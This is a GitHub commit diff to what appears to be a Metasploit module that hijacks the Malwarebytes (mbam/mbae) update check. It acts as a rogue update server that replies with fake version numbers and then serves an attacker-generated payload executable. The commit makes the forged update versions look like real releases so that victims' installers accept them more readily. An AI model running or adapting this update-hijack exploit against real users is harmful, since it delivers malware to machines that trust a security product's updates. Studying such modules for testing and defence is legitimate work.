Skip to content

Commit dbe5dd7

Browse files
committed
Enforce update to real versions
1 parent 2680e76 commit dbe5dd7

File tree

1 file changed

+8
-3
lines changed

1 file changed

+8
-3
lines changed

modules/exploits/windows/browser/mbam_update_exec.rb

100755100644
Lines changed: 8 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -58,6 +58,11 @@ def on_request_uri(cli, request)
5858
ua = request['User-Agent']
5959
uri = request.uri
6060

61+
newvers = {
62+
'mbam' => '2.0.3.1025',
63+
'mbae' => '1.04.1.1012'
64+
}
65+
6166
unless agent = ua ? ua[/^(\w{4})/, 1] : uri[/^\/v2\/(\w{4})/, 1]
6267
print_error("User agent cannot be identified")
6368
send_response(cli, '')
@@ -85,11 +90,11 @@ def on_request_uri(cli, request)
8590
return
8691
end
8792

88-
print_status("Enforcing update to version 9.99.9.9999")
89-
send_response(cli, '9.99.9.9999', {
93+
print_status("Enforcing update to version #{newvers[agent]}")
94+
send_response(cli, newvers[agent], {
9095
'Content-Type' => 'application/octet-stream'
9196
})
92-
when "/v2/#{agent}/consumer/data/#{agent}-setup-9.99.9.9999.exe"
97+
when "/v2/#{agent}/consumer/data/#{agent}-setup-#{newvers[agent]}.exe"
9398
print_status("Sending payload EXE...")
9499
send_response(cli, generate_payload_exe, {
95100
'Content-Type' => 'application/x-msdos-program'

0 commit comments

Comments
 (0)